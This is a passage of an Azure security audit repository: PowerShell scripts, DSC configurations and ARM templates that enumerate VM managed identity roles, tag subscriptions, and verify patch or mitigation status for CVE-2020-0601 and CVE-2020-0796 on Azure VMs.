Get-AzVMss 37 | $virtualMachines = Get-AzVM 38 | $computeObjects = @() 39 | $computeObjects += $virtualMachines 40 | $computeObjects += $virtualMachineScaleSets 41 | 42 | foreach ($computeObject in $computeObjects) { 43 | $vmName = $computeObject.Name 44 | $vmRgName = $computeObject.ResourceGroupName 45 | $identity = $computeObject.Identity 46 | $type = $computeObject.Type 47 | if ($type -eq "Microsoft.Compute/virtualMachines") { 48 | Write-Host -ForegroundColor Green "[+] Start checking vm: $vmName (rg: $vmRgName)" 49 | } 50 | elseif ($type -eq "Microsoft.Compute/virtualMachineScaleSets") { 51 | Write-Host -ForegroundColor Green "[+] Start checking vmss: $vmName (rg: $vmRgName)" 52 | } 53 | if ($identity) { 54 | $samiPrincipalId = $identity.PrincipalId 55 | # Check if SAMI is attached 56 | if ($samiPrincipalId) { 57 | Write-Host -ForegroundColor Yellow "`t[+] Found SAMI enabled on vm: $vmName" 58 | $samiRoleAssignments = Get-AzRoleAssignment -ObjectId $samiPrincipalId 59 | if ($samiRoleAssignments) { 60 | foreach ($samiRoleAssignment in $samiRoleAssignments) { 61 | Write-Host -ForegroundColor White "`t`t[+] SAMI Role : $($samiRoleAssignment.RoleDefinitionName)" 62 | Write-Host -ForegroundColor White "`t`t[+] SAMI Role Scope : $($samiRoleAssignment.Scope)" 63 | Write-Host -ForegroundColor Green "`t`t....." 64 | } 65 | } 66 | else { 67 | Write-Host -ForegroundColor White "`t`t[+] The SAMI doesn't have any role assignment" 68 | } 69 | } 70 | $userIdentities = $identity.UserAssignedIdentities.Values 71 | # Check if UAMI is attached 72 | if ($userIdentities) { 73 | Write-Host -ForegroundColor Yellow "`t[+] Found UAMI attached on vm: $vmName" 74 | foreach ($userIdentity in $userIdentities) { 75 | $uamiRoleAssignments = Get-AzRoleAssignment -ObjectId $($userIdentity.PrincipalId) 76 | if ($uamiRoleAssignments) { 77 | foreach ($uamiRoleAssignment in $uamiRoleAssignments) { 78 | Write-Host -ForegroundColor White "`t`t[+] UAMI Principal Id : $($userIdentity.PrincipalId)" 79 | Write-Host -ForegroundColor White "`t`t[+] UAMI Role : $($uamiRoleAssignment.RoleDefinitionName)" 80 | Write-Host -ForegroundColor White "`t`t[+] UAMI Role Scope : $($uamiRoleAssignment.Scope)" 81 | Write-Host -ForegroundColor Green "`t`t....." 82 | } 83 | } 84 | else { 85 | Write-Host -ForegroundColor White "`t`t[+] The UAMI ($($userIdentity.PrincipalId)) doesn't have any role assignment" 86 | } 87 | } 88 | } 89 | else { 90 | Write-Host -BackgroundColor Magenta "`t[+] No UAMI has been found" 91 | } 92 | } 93 | else { 94 | Write-Host -BackgroundColor Magenta "`t[+] No SAMI has been found enabled" 95 | } 96 | } 97 | 98 | 99 | -------------------------------------------------------------------------------- /Subscription/scripts/New-TagOnSubscription.ps1: -------------------------------------------------------------------------------- 1 | $globalTag = @{ 2 | "Project" = "AzSec" 3 | "Year" = "2022" 4 | "Cloud" = "Azure" 5 | } 6 | 7 | # Only get active subscriptions 8 | $subscriptions = Get-AzSubscription | Where-Object {$_.State -eq "Enabled" } 9 | foreach ($subscription in $subscriptions) { 10 | Write-Host -ForegroundColor Green "[+] Found subscription named: " $subscription.Name 11 | Write-Host -ForegroundColor Green "`t[+] Start applying tag for subscription named: " $subscription.Name 12 | $tag = New-AzTag -ResourceId "/subscriptions/$($subscription.id)" -Tag $globalTag 13 | if ($tag) { 14 | Write-Host -ForegroundColor Green "`t[+] Succesfully applied tag for subscription named: " $subscription.Name 15 | } 16 | else { 17 | Write-Host -ForegroundColor Red "`t[!] Failed to applied tag for subscription named: " $subscription.Name 18 | } 19 | } -------------------------------------------------------------------------------- /Subscription/template/azuredeploy.outputs.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "subscriptionId": { 6 | "type": "string", 7 | "defaultValue": "[subscription().subscriptionId]" 8 | } 9 | }, 10 | "variables": { 11 | "tagResourceId": "[concat('/subscriptions/',parameters('subscriptionId'),'/providers/Microsoft.Resources/tags/default')]" 12 | }, 13 | "resources": [], 14 | "outputs": { 15 | "cloud": { 16 | "type": "string", 17 | "value": "[reference(variables('tagResourceId'),'2020-01-01').tags.Cloud]" 18 | }, 19 | "year": { 20 | "type": "string", 21 | "value": "[reference(variables('tagResourceId'),'2020-01-01').tags.Year]" 22 | }, 23 | "project": { 24 | "type": "string", 25 | "value": "[reference(variables('tagResourceId'),'2020-01-01').tags.project]" 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Subscription/template/azuredeploy.tag.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | }, 6 | "resources": [ 7 | { 8 | "type": "Microsoft.Resources/tags", 9 | "apiVersion": "2021-04-01", 10 | "name": "default", 11 | "properties": { 12 | "tags": { 13 | "Cloud": "azure", 14 | "Year": "2022", 15 | "Project": "AzSec" 16 | } 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/Cve20200601Verification.ps1: -------------------------------------------------------------------------------- 1 | configuration Cve20200601Verification { 2 | Import-DscResource -ModuleName PSDesiredStateConfiguration 3 | Node 'localhost' { 4 | Script 'Cve20200601Verification' { 5 | GetScript = { 6 | 7 | } 8 | TestScript = { 9 | $crypt32Path = "C:\Windows\System32\crypt32.dll" 10 | $validHash = "6AE927255B0576AF136DF57210A1BA64C42A504D50867F58B7A128B4FD26A77C" 11 | $validFileVesion = "10.0.14393.3442" 12 | $osBuild = "14393.3443" 13 | $osVersion = "1607" 14 | 15 | $fileVersion = [System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\Windows\System32\crypt32.dll").FileVersionRaw.ToString() 16 | Write-Host "File Version:" $fileVersion 17 | 18 | $fileHash = (Get-FileHash -Path $crypt32Path).Hash 19 | Write-Host "File Hash: " $fileHash 20 | 21 | $currentBuild = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").CurrentBuildNumber 22 | $currentUBR = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").UBR 23 | Write-Host "Current OS Build: " ($currentBuild + "." + $currentUBR) 24 | 25 | $currentOsVersion = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").ReleaseID 26 | Write-Host "Current OS Version: " $currentOsVersion 27 | 28 | 29 | $result = $fileVersion -eq $validFileVesion -and ` 30 | $fileHash -eq $validHash -and ` 31 | $osBuild -eq ($currentBuild + "." + $currentUBR) -and ` 32 | $currentOsVersion -eq $osVersion 33 | 34 | return $result 35 | } 36 | SetScript = { 37 | 38 | } 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-0601 on Azure VM 2 | 3 | Artifacts that are used to support this article https://azsec.azurewebsites.net/2020/01/18/guidance-for-cve-crypto-and-rdg-vulnerability-patching-on-azure-vm/ -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/Set-AzDscExtension.ps1: -------------------------------------------------------------------------------- 1 | $rgName = "azsec-corporate-rg" 2 | $aaName = "Automate-3536378-EUS" 3 | $nodeName = "Cve20200601Verification" 4 | $vms = Get-AzVm -ResourceGroupName $rgName | Where-Object { $_.OSProfile.WindowsConfiguration -ne $null } 5 | $aaKey = (Get-AzAutomationRegistrationInfo -ResourceGroupName $rgName ` 6 | -AutomationAccountName $aaName).PrimaryKey 7 | $aaRegUrl = (Get-AzAutomationRegistrationInfo -ResourceGroupName $rgName ` 8 | -AutomationAccountName $aaName).Endpoint 9 | 10 | 11 | $vmExtensionName = "Microsoft.Powershell.DSC" 12 | $extensionPublisher = "Microsoft.Powershell" 13 | $settings = @{ 14 | "configurationArguments" = @{ 15 | "RegistrationUrl" = $aaRegUrl; 16 | "NodeConfigurationName" = "$nodeName.localhost"; 17 | "ConfigurationMode" = "applyAndMonitor"; 18 | "RebootNodeIfNeeded" = $false; 19 | "ActionAfterReboot" = "continueConfiguration"; 20 | "AllowModuleOverwrite" = $false; 21 | "ConfigurationModeFrequencyMins" = "15"; 22 | "RefreshFrequencyMins" = "30" 23 | } 24 | } 25 | $protectedSettings = @{ 26 | "configurationArguments" = @{ 27 | "RegistrationKey" = @{ 28 | "Username" = "null"; 29 | "Password" = $aaKey 30 | } 31 | } 32 | } 33 | 34 | foreach ($vm in $vms) { 35 | Set-AzVMExtension -VMName $vm.Name ` 36 | -Location "westus"` 37 | -ResourceGroupName $rgName ` 38 | -Name $vmExtensionName ` 39 | -Publisher $extensionPublisher ` 40 | -Type "DSC" ` 41 | -TypeHandlerVersion "2.8" ` 42 | -Settings $settings ` 43 | -ProtectedSettings $protectedSettings 44 | 45 | 46 | Update-AzVM -ResourceGroupName $rgName -VM $vm 47 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/Verify-Cve20200601.ps1: -------------------------------------------------------------------------------- 1 | $crypt32Path = "C:\Windows\System32\crypt32.dll" 2 | $validHash = "6AE927255B0576AF136DF57210A1BA64C42A504D50867F58B7A128B4FD26A77C" 3 | $validFileVesion = "10.0.14393.3442" 4 | $osBuild = "14393.3443" 5 | $osVersion = "1607" 6 | 7 | $azImdsUri = "http://169.254.169.254/metadata/instance?api-version=2019-06-01" 8 | $vmName = (Invoke-RestMethod -Headers @{"Metadata"="true"} -URI $azImdsUri -Method get).compute.name 9 | $rgName = (Invoke-RestMethod -Headers @{"Metadata"="true"} -URI $azImdsUri -Method get).compute.resourceGroupName 10 | $hostName = $env:COMPUTERNAME 11 | 12 | $fileVersion = [System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\Windows\System32\crypt32.dll").FileVersionRaw.ToString() 13 | Write-Host "File Version:" $fileVersion 14 | 15 | $fileHash = (Get-FileHash -Path $crypt32Path).Hash 16 | Write-Host "File Hash: " $fileHash 17 | 18 | $currentBuild = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").CurrentBuildNumber 19 | $currentUBR = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").UBR 20 | Write-Host "Current OS Build: " ($currentBuild + "." + $currentUBR) 21 | 22 | $currentOsVersion = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").ReleaseID 23 | Write-Host "Current OS Version: " $currentOsVersion 24 | 25 | 26 | $result = $fileVersion -eq $validFileVesion -and ` 27 | $fileHash -eq $validHash -and ` 28 | $osBuild -eq ($currentBuild + "." + $currentUBR) -and ` 29 | $currentOsVersion -eq $osVersion 30 | 31 | if ($result -eq $true) { 32 | Write-Host -ForegroundColor Green "[-] Your virtual machine has applied the patch" 33 | Write-Host -ForegroundColor DarkYellow "`t [-] Virtual Machine name: " $vmName 34 | Write-Host -ForegroundColor DarkYellow "`t [-] Virtual Machine RG name: " $rgName 35 | Write-Host -ForegroundColor DarkYellow "`t [-] Host name: " $hostName 36 | } 37 | elseif ($result -ne $true) { 38 | Write-Host -ForegroundColor Yellow "[!] Please verify again!" 39 | Write-Host -ForegroundColor DarkYellow "`t [-] Virtual Machine name: " $vmName 40 | Write-Host -ForegroundColor DarkYellow "`t [-] Virtual Machine RG name: " $rgName 41 | Write-Host -ForegroundColor DarkYellow "`t [-] Host name: " $hostName 42 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/azuredeploy.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "location": { 6 | "type": "string", 7 | "defaultValue": "[resourceGroup().location]", 8 | "metadata": { 9 | "description": "Location of the virtual machine" 10 | } 11 | }, 12 | "adminUsername": { 13 | "type": "string", 14 | "metadata": { 15 | "description": "Administrator username of the virtual machine" 16 | } 17 | }, 18 | "adminPassword": { 19 | "type": "string", 20 | "metadata": { 21 | "description": "Administrator password of the virtual machine" 22 | } 23 | }, 24 | "windowsOsVersion": { 25 | "type": "string", 26 | "defaultValue": "2016-Datacenter", 27 | "allowedValues": [ 28 | "2016-Datacenter" 29 | ], 30 | "metadata": { 31 | "description": "Windows OS version of the virtual machine" 32 | } 33 | }, 34 | "imageBuildNumber": { 35 | "type": "string", 36 | "allowedValues": [ 37 | "3443", 38 | "3384", 39 | "3326", 40 | "3025", 41 | "3274" 42 | ], 43 | "metadata": { 44 | "description": "Image version of the virtual machine" 45 | } 46 | }, 47 | "imageVersion": { 48 | "type": "string", 49 | "allowedValues": [ 50 | "14393.3443.2001090113", 51 | "14393.3384.1912042333", 52 | "14393.3326.1911120150", 53 | "14393.3274.1910061629", 54 | "14393.3025.1907191810" 55 | ], 56 | "metadata": { 57 | "description": "Image version of the virtual machine" 58 | } 59 | }, 60 | "vmSize": { 61 | "type": "string", 62 | "defaultValue": "Standard_A4_v2", 63 | "metadata": { 64 | "description": "Size of the virtual machine" 65 | } 66 | }, 67 | "subnetId": { 68 | "type": "string", 69 | "defaultValue": "", 70 | "metadata": { 71 | "description": "Subnet where the virtual machine belongs to" 72 | } 73 | }, 74 | "logAnalyticsWorkspaceName": { 75 | "type": "string", 76 | "metadata": { 77 | "description": "Log Analytics workspace the virtual machine belongs to" 78 | } 79 | }, 80 | "logAnalyticsWorkspaceRgName": { 81 | "type": "string", 82 | "metadata": { 83 | "description": "Log Analytics workspace's resource group name the virtual machine belongs to" 84 | } 85 | } 86 | }, 87 | "variables": { 88 | "vmName": "[concat(parameters('imageBuildNumber'),'-vm')]", 89 | "nicName": "[concat(variables('vmName'), '-nic')]", 90 | "logAnalyticsWorkspaceId": "[concat(resourceId(parameters('logAnalyticsWorkspaceRgName'), 'Microsoft.OperationalInsights/workspaces/', parameters('logAnalyticsWorkspaceName')))]" 91 | }, 92 | "resources": [ 93 | { 94 | "type": "Microsoft.Network/networkInterfaces", 95 | "apiVersion": "2019-09-01", 96 | "name": "[variables('nicName')]", 97 | "location": "[parameters('location')]", 98 | "properties": { 99 | "ipConfigurations": [ 100 | { 101 | "name": "ipconfig1", 102 | "properties": { 103 | "privateIPAllocationMethod": "Dynamic", 104 | "subnet": { 105 | "id": "[parameters('subnetId')]" 106 | } 107 | } 108 | } 109 | ] 110 | } 111 | }, 112 | { 113 | "type": "Microsoft.Compute/virtualMachines", 114 | "apiVersion": "2019-03-01", 115 | "name": "[variables('vmName')]", 116 | "location": "[parameters('location')]", 117 | "dependsOn": [ 118 | "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" 119 | ], 120 | "properties": { 121 | "hardwareProfile": { 122 | "vmSize": "[parameters('vmSize')]" 123 | }, 124 | "osProfile": { 125 | "computerName": "[variables('vmName')]", 126 | "adminUsername": "[parameters('adminUsername')]", 127 | "adminPassword": "[parameters('adminPassword')]" 128 | }, 129 | "storageProfile": { 130 | "imageReference": { 131 | "publisher": "MicrosoftWindowsServer", 132 | "offer": "WindowsServer", 133 | "sku": "[parameters('windowsOsVersion')]", 134 | "version": "[parameters('imageVersion')]" 135 | }, 136 | "osDisk": { 137 | "createOption": "FromImage" 138 | }, 139 | "dataDisks": [ 140 | 141 | ] 142 | }, 143 | "networkProfile": { 144 | "networkInterfaces": [ 145 | { 146 | "id": "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" 147 | } 148 | ] 149 | } 150 | } 151 | }, 152 | { 153 | "type": "Microsoft.Compute/virtualMachines/extensions", 154 | "apiVersion": "2019-03-01", 155 | "name": "[concat(variables('vmName'),'/LogAnalytics')]", 156 | "location": "[resourceGroup().location]", 157 | "dependsOn": [ 158 | "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" 159 | ], 160 | "properties": { 161 | "publisher": "Microsoft.EnterpriseCloud.Monitoring", 162 | "type": "MicrosoftMonitoringAgent", 163 | "typeHandlerVersion": "1.0", 164 | "autoUpgradeMinorVersion": true, 165 | "settings": { 166 | "workspaceId": "[reference(variables('logAnalyticsWorkspaceId'), '2015-11-01-preview').customerId]" 167 | }, 168 | "protectedSettings": { 169 | "workspaceKey": "[listKeys(variables('logAnalyticsWorkspaceId'), '2015-11-01-preview').primarySharedKey]" 170 | } 171 | } 172 | } 173 | ], 174 | "outputs": { 175 | } 176 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/azuredeploy.parameters.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "adminUsername": { 6 | "value": "azsec" 7 | }, 8 | "adminPassword": { 9 | "value": "YOUR_PASSWORD" 10 | }, 11 | "imageBuildNumber": { 12 | "value": "3274" 13 | }, 14 | "imageVersion": { 15 | "value": "14393.3274.1910061629" 16 | }, 17 | "logAnalyticsWorkspaceName": { 18 | "value": "YOUR_LOG_WORKSPACE_NAME" 19 | }, 20 | "logAnalyticsWorkspaceRgName": { 21 | "value": "YOUR_LOG_WORKSPACE_RG_NAME" 22 | }, 23 | "subnetId": { 24 | "value": "YOUR_SUBNET_ID" 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/vm-dsc-template/README.md: -------------------------------------------------------------------------------- 1 | # Deploy a virtual machine with Azure Automation DSC 2 | 3 | This template allows you to deploy a Windows virtual machine that is added to Log Analytics workspace and an existing Azure Automation Desired State Configuration (DSC) Node cluster. This template is used to support this article https://azsec.azurewebsites.net/2020/01/18/guidance-for-cve-crypto-and-rdg-vulnerability-patching-on-azure-vm/ 4 | 5 | For CVE-2020-0601 verification script with DSC refer to this code [here](https://github.com/azsec/azure-audit/blob/master/VirtualMachine/CVE-2020-0601/Cve20200601Verification.ps1) -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/vm-dsc-template/azuredeploy.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "location": { 6 | "type": "string", 7 | "defaultValue": "[resourceGroup().location]", 8 | "metadata": { 9 | "description": "Location of the virtual machine" 10 | } 11 | }, 12 | "adminUsername": { 13 | "type": "string", 14 | "metadata": { 15 | "description": "Administrator username of the virtual machine" 16 | } 17 | }, 18 | "adminPassword": { 19 | "type": "string", 20 | "metadata": { 21 | "description": "Administrator password of the virtual machine" 22 | } 23 | }, 24 | "windowsOsVersion": { 25 | "type": "string", 26 | "defaultValue": "2016-Datacenter", 27 | "allowedValues": [ 28 | "2016-Datacenter" 29 | ], 30 | "metadata": { 31 | "description": "Windows OS version of the virtual machine" 32 | } 33 | }, 34 | "imageBuildNumber": { 35 | "type": "string", 36 | "allowedValues": [ 37 | "3443", 38 | "3384", 39 | "3326", 40 | "3025", 41 | "3274", 42 | "3144" 43 | ], 44 | "metadata": { 45 | "description": "Image version of the virtual machine" 46 | } 47 | }, 48 | "imageVersion": { 49 | "type": "string", 50 | "allowedValues": [ 51 | "14393.3443.2001090113", 52 | "14393.3384.1912042333", 53 | "14393.3326.1911120150", 54 | "14393.3274.1910061629", 55 | "14393.3025.1907191810", 56 | "14393.3144.1908092220" 57 | ], 58 | "metadata": { 59 | "description": "Image version of the virtual machine" 60 | } 61 | }, 62 | "vmSize": { 63 | "type": "string", 64 | "defaultValue": "Standard_A4_v2", 65 | "metadata": { 66 | "description": "Size of the virtual machine" 67 | } 68 | }, 69 | "subnetId": { 70 | "type": "string", 71 | "defaultValue": "", 72 | "metadata": { 73 | "description": "Subnet where the virtual machine belongs to" 74 | } 75 | }, 76 | "logAnalyticsWorkspaceName": { 77 | "type": "string", 78 | "metadata": { 79 | "description": "Log Analytics workspace the virtual machine belongs to" 80 | } 81 | }, 82 | "logAnalyticsWorkspaceRgName": { 83 | "type": "string", 84 | "metadata": { 85 | "description": "Log Analytics workspace's resource group name the virtual machine belongs to" 86 | } 87 | }, 88 | "automationAccountName": { 89 | "type": "string", 90 | "metadata": { 91 | "description": "Automation account name that runs DSC" 92 | } 93 | }, 94 | "automationAccountRgName": { 95 | "type": "string", 96 | "metadata": { 97 | "description": "Automation account resource group name" 98 | } 99 | }, 100 | "nodeConfigurationName": { 101 | "type": "string", 102 | "metadata": { 103 | "description": "Node configuration name e.g Cve20200601Verification.localhost" 104 | } 105 | } 106 | }, 107 | "variables": { 108 | "vmName": "[concat(parameters('imageBuildNumber'),'-vm')]", 109 | "nicName": "[concat(variables('vmName'), '-nic')]", 110 | "logAnalyticsWorkspaceId": "[concat(resourceId(parameters('logAnalyticsWorkspaceRgName'), 'Microsoft.OperationalInsights/workspaces/', parameters('logAnalyticsWorkspaceName')))]", 111 | "aaResourceid": "[concat(subscription().id, '/resourceGroups/', parameters('automationAccountRgName'), '/providers/Microsoft.Automation/automationAccounts/',parameters('automationAccountName'))]" 112 | }, 113 | "resources": [ 114 | { 115 | "type": "Microsoft.Network/networkInterfaces", 116 | "apiVersion": "2019-09-01", 117 | "name": "[variables('nicName')]", 118 | "location": "[parameters('location')]", 119 | "properties": { 120 | "ipConfigurations": [ 121 | { 122 | "name": "ipconfig1", 123 | "properties": { 124 | "privateIPAllocationMethod": "Dynamic", 125 | "subnet": { 126 | "id": "[parameters('subnetId')]" 127 | } 128 | } 129 | } 130 | ] 131 | } 132 | }, 133 | { 134 | "type": "Microsoft.Compute/virtualMachines", 135 | "apiVersion": "2019-03-01", 136 | "name": "[variables('vmName')]", 137 | "location": "[parameters('location')]", 138 | "dependsOn": [ 139 | "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" 140 | ], 141 | "properties": { 142 | "hardwareProfile": { 143 | "vmSize": "[parameters('vmSize')]" 144 | }, 145 | "osProfile": { 146 | "computerName": "[variables('vmName')]", 147 | "adminUsername": "[parameters('adminUsername')]", 148 | "adminPassword": "[parameters('adminPassword')]" 149 | }, 150 | "storageProfile": { 151 | "imageReference": { 152 | "publisher": "MicrosoftWindowsServer", 153 | "offer": "WindowsServer", 154 | "sku": "[parameters('windowsOsVersion')]", 155 | "version": "[parameters('imageVersion')]" 156 | }, 157 | "osDisk": { 158 | "createOption": "FromImage" 159 | }, 160 | "dataDisks": [ 161 | 162 | ] 163 | }, 164 | "networkProfile": { 165 | "networkInterfaces": [ 166 | { 167 | "id": "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" 168 | } 169 | ] 170 | } 171 | } 172 | }, 173 | { 174 | "type": "Microsoft.Compute/virtualMachines/extensions", 175 | "apiVersion": "2019-03-01", 176 | "name": "[concat(variables('vmName'),'/LogAnalytics')]", 177 | "location": "[resourceGroup().location]", 178 | "dependsOn": [ 179 | "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" 180 | ], 181 | "properties": { 182 | "publisher": "Microsoft.EnterpriseCloud.Monitoring", 183 | "type": "MicrosoftMonitoringAgent", 184 | "typeHandlerVersion": "1.0", 185 | "autoUpgradeMinorVersion": true, 186 | "settings": { 187 | "workspaceId": "[reference(variables('logAnalyticsWorkspaceId'), '2015-11-01-preview').customerId]" 188 | }, 189 | "protectedSettings": { 190 | "workspaceKey": "[listKeys(variables('logAnalyticsWorkspaceId'), '2015-11-01-preview').primarySharedKey]" 191 | } 192 | } 193 | }, 194 | { 195 | "type": "Microsoft.Compute/virtualMachines/extensions", 196 | "apiVersion": "2019-03-01", 197 | "name": "[concat(variables('vmName'),'/Microsoft.Powershell.DSC')]", 198 | "location": "[resourceGroup().location]", 199 | "dependsOn": [ 200 | "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]", 201 | "[concat('Microsoft.Compute/virtualMachines/',variables('vmName'), '/extensions/LogAnalytics')]" 202 | ], 203 | "properties": { 204 | "publisher": "Microsoft.PowerShell", 205 | "type": "DSC", 206 | "typeHandlerVersion": "2.8", 207 | "autoUpgradeMinorVersion": true, 208 | "protectedSettings": { 209 | "Items": { 210 | "registrationKeyPrivate": "[listKeys(variables('aaResourceid'), '2018-06-30').Keys[0].value]" 211 | } 212 | }, 213 | "settings": { 214 | "properties": [ 215 | { 216 | "name": "RegistrationKey", 217 | "value": { 218 | "UserName": "null", 219 | "Password": "PrivateSettingsRef:registrationKeyPrivate" 220 | }, 221 | "typename": "System.Management.Automation.PSCredential" 222 | }, 223 | { 224 | "Name": "RegistrationUrl", 225 | "Value": "[reference(variables('aaResourceid'), '2018-06-30').registrationUrl]", 226 | "TypeName": "System.String" 227 | }, 228 | { 229 | "Name": "NodeConfigurationName", 230 | "Value": "[parameters('nodeConfigurationName')]", 231 | "TypeName": "System.String" 232 | }, 233 | { 234 | "Name": "ConfigurationMode", 235 | "Value": "applyAndMonitor", 236 | "TypeName": "System.String" 237 | }, 238 | { 239 | "Name": "RebootNodeIfNeeded", 240 | "Value": false, 241 | "TypeName": "System.Boolean" 242 | }, 243 | { 244 | "Name": "ActionAfterReboot", 245 | "Value": "continueConfiguration", 246 | "TypeName": "System.String" 247 | }, 248 | { 249 | "Name": "AllowModuleOverwrite", 250 | "Value": false, 251 | "TypeName": "System.Boolean" 252 | }, 253 | { 254 | "Name": "ConfigurationModeFrequencyMins", 255 | "Value": 15, 256 | "TypeName": "System.Int32" 257 | }, 258 | { 259 | "Name": "RefreshFrequencyMins", 260 | "Value": 30, 261 | "TypeName": "System.Int32" 262 | } 263 | ] 264 | } 265 | } 266 | } 267 | ], 268 | "outputs": { 269 | } 270 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0601/vm-dsc-template/azuredeploy.parameters.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "adminUsername": { 6 | "value": "YOUR_USERNAME" 7 | }, 8 | "adminPassword": { 9 | "value": "YOUR_PASSWORD" 10 | }, 11 | "imageBuildNumber": { 12 | "value": "3144" 13 | }, 14 | "imageVersion": { 15 | "value": "14393.3144.1908092220" 16 | }, 17 | "logAnalyticsWorkspaceName": { 18 | "value": "YOUR_LOG_WORKSPACE_NAME" 19 | }, 20 | "logAnalyticsWorkspaceRgName": { 21 | "value": "YOUR_LOG_WORKSPACE_RG_NAME" 22 | }, 23 | "subnetId": { 24 | "value": "YOUR_SUBNET_RESOURCE_ID" 25 | }, 26 | "automationAccountName": { 27 | "value": "YOUR_AA_NAME" 28 | }, 29 | "automationAccountRgName": { 30 | "value": "YOUR_AA_RG_NAME" 31 | }, 32 | "nodeConfigurationName": { 33 | "value": "Cve20200601Verification.localhost" 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0796/Check-SmbCompressionMitigation.ps1: -------------------------------------------------------------------------------- 1 | $releaseNumber = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").ReleaseId 2 | $registry = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" 3 | $result = $releaseNumber -in (1903, 1909) -and ` 4 | $registry.DisableCompression -eq "1" 5 | 6 | if ($result -eq $true) { 7 | Write-Host -ForegroundColor Green "[-] SMBv3 Compression has been disabled" 8 | } 9 | elseif ($result -ne $true) { 10 | Write-Host -ForegroundColor Red "[-] SMBv3 Compression hasn't been disabled" 11 | } 12 | 13 | <# 14 | $parameters = @{ 15 | Path = "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" 16 | Name = 'DisableCompression' 17 | Type = 'DWORD' 18 | Value = 1 19 | Force = $true 20 | } 21 | Set-ItemProperty @parameters 22 | #> -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0796/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-0796 on Azure VM 2 | 3 | Artifacts that are used to support this article https://azsec.azurewebsites.net/2020/03/13/guidance-for-cve-2020-0796-smbv3-compression-vulnerability-patching-on-azure-vm/ -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0796/SmbV3CompressionMitigation.ps1: -------------------------------------------------------------------------------- 1 | configuration SmbV3CompressionMitigation { 2 | Import-DscResource -ModuleName PSDesiredStateConfiguration 3 | Node 'localhost' { 4 | Script 'SmbV3CompressionMitigation' { 5 | GetScript = { 6 | 7 | } 8 | TestScript = { 9 | $releaseNumber = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").ReleaseId 10 | $registry = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" 11 | $result = $releaseNumber -in (1903, 1909) -and ` 12 | $registry.DisableCompression -eq "1" 13 | 14 | return $result 15 | } 16 | SetScript = { 17 | 18 | } 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0796/windows10-template/azuredeploy.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "location": { 6 | "type": "string", 7 | "defaultValue": "[resourceGroup().location]", 8 | "metadata": { 9 | "description": "Location of the virtual machine" 10 | } 11 | }, 12 | "adminUsername": { 13 | "type": "string", 14 | "metadata": { 15 | "description": "Administrator username of the virtual machine" 16 | } 17 | }, 18 | "adminPassword": { 19 | "type": "string", 20 | "metadata": { 21 | "description": "Administrator password of the virtual machine" 22 | } 23 